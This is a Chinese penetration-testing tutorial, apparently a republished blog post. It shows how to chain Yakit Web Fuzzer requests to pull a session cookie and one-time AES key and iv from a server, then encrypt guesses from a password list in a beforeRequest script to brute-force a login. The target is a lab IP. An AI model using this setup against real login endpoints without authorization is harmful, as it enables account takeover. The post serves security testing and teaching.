文章总结: 本文介绍了利用Yakit的WebFuzzer序列功能爆破后端一次性AESkey和iv数据包的方法。通过序列组合请求包,使用数据提取器获取Cookie、key及iv并开启变量继承。借助热加载脚本beforeRequest实现AES-CBC加密与Base64编码,动态修改请求体内容。该方案有效解决了服务端动态生成密钥的爆破难题,提升了复杂加密接口的测试效率。 综合评分: 90 文章分类: WEB安全,渗透测试,实战经验,安全工具
通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包
原创
进击的hack
进击的HACK
2025年4月5日 07:50 江苏
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
序列
什么是Web Fuzzer 序列? Web Fuzzer 序列就是将多个 Web Fuzzer 节点(类似于burpsuite repeater模块的请求包)串联起来,实现更复杂的逻辑与功能。例如我们需要先进行登录,然后再进行其他操作,这时候我们就可以使用 Web Fuzzer 序列功能。
本篇文章,通过使用Web Fuzzer 序列,解决数据包随机AES key和iv的问题。适用于后端返回key和iv的场合,不管是多次使用还是一次使用都可以。
官方资料
- • 序列前置知识之高级配置
- • Web Fuzzer序列基础
- • 高级配置
在什么状况使用
以下图的AES服务端获取Key举例,加密流程如下:
- 1. 发送请求包,请求key和iv,其中key和iv与PHPSESSID绑定
- 2. 浏览器进行AES加密
- 3. 发送加密后的数据到后端
这里的key和iv与PHPSESSID绑定,也就是说我们一直用同样的cookie就能像之前文章的那样,进行fuzzer。这样比较简单,我们讨论更进一步的情况。
假设key和iv都是一次性的,那么我们要对账号密码进行爆破的时候,就需要从数据包1中获取cookie、key和iv,然后加密后从数据包2发送过去。 完成这个步骤需要两个数据包,这时,我们就可以使用序列。
序列使用
步骤如下:
- 1. 点击序列,将 4和8 放入序列组合中
- 2. step0 放入 4
- 3. step1 放入 8
点击开始执行,获取响应包,我们后续配置需要
我们要通过数据提取器,提取三个部分
其中,Set-cookie,已经在默认变量中了,我们点击预览可以看到
set_cookie
选择变量继承,我们在step1中就能使用变量了
Cookie: {{param(set_cookie)}}
查看history中的插件流量,能够看到此处变量已经改变
接下来是提取key和iv,我们可以采用JQ
教程:https://jqlang.github.io/jq/manual/
.["aes_key"]
.["aes_iv"]
提取结果 添加条件,提取两个
不要将两个放在同一个变量下(比如data_0),这样操作会让yakit将data_0看成是一个可fuzzer的对象,你也不能按照你所想的把这些值提取出来。
点击调试执行,查看结果
点击应用,数据提取器显示如下
如何调用呢? 如果是在请求包中使用,和调用cookie一样
{{param(data_0)}}
{{param(data_1)}}
可以看到成功提取了
当然上面只是演示,并不是我们真正想要的,我们想要的是aes加密然后爆破
beforeRequest = func(https, originReq, req) {
// 我们可以将请求进行一定的修改
postParams = poc.GetAllHTTPPacketPostParams(req /*type: []byte*/)
aes_key = postParams["key"]
aes_iv = postParams["iv"]
req_result = poc.DeleteHTTPPacketPostParam(req /*type: []byte*/, "key" /*type: string*/)
req_result = poc.DeleteHTTPPacketPostParam(req_result /*type: []byte*/, "iv" /*type: string*/)
// 将修改后的请求返回
return []byte(req_result)
}
配置加解密
请求包
POST /encrypt/aesserver.php HTTP/1.1
Host: 192.168.56.32:82
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Referer: http://192.168.56.32:82/
Accept-Encoding: gzip, deflate
Cookie: {{param(set_cookie)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://192.168.56.32:82
Accept: */*
Content-Length: 84
{"encryptedData":"{{payload(pass_top25)}}","key":"{{param(data_0)}}","iv":"{{param(data_1)}}"}
热加载
// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte
// https 请求是否为https请求
// originReq 原始请求
// req 请求
beforeRequest = func(https, originReq, req) {
postParams = poc.ExtractPostParams(req)~
aes_key = postParams["key"]
aes_iv = postParams["iv"]
encryptedData = postParams["encryptedData"]
key = codec.DecodeBase64(aes_key)~
iv = codec.DecodeBase64(aes_iv)~
data = {"username":"admin","password":encryptedData}
params_en = codec.AESCBCEncryptWithPKCS7Padding(key /*type: []byte*/, json.dumps(data), iv /*type: []byte*/)~
data2 = codec.EncodeBase64(params_en)
req = poc.ReplaceHTTPPacketJsonBody(req, {"encryptedData":data2}) // 修改请求体内容为{"a":"b"}
// 将修改后的请求返回
return []byte(req)
}
这里用了内置的AES加密工具,当然,如果遇到魔改的AES,可以参考之前写的jsRpc调用,通过浏览器进行加密。
结果展示
成功fuzz
参考资料
- • yakit官方教程
欢迎关注~
往期推荐
yakit 调用jsRpc加解密,免去抠代码补环境
代码审计 | 一次JWT任意用户登录审计
Yakit JWT Token 弱口令枚举
yakit 弱口令爆破与未授权检测
yakit 验证码识别 进行webfuzzer
yakit 安装和初次使用
数据库自动取样工具DataMiner
burpsuite指纹识别插件合集
如何最大限度的利用poc发现漏洞
工具推荐 | P1finger 重点资产指纹识别工具
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:进击的HACK 进击的hack《通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论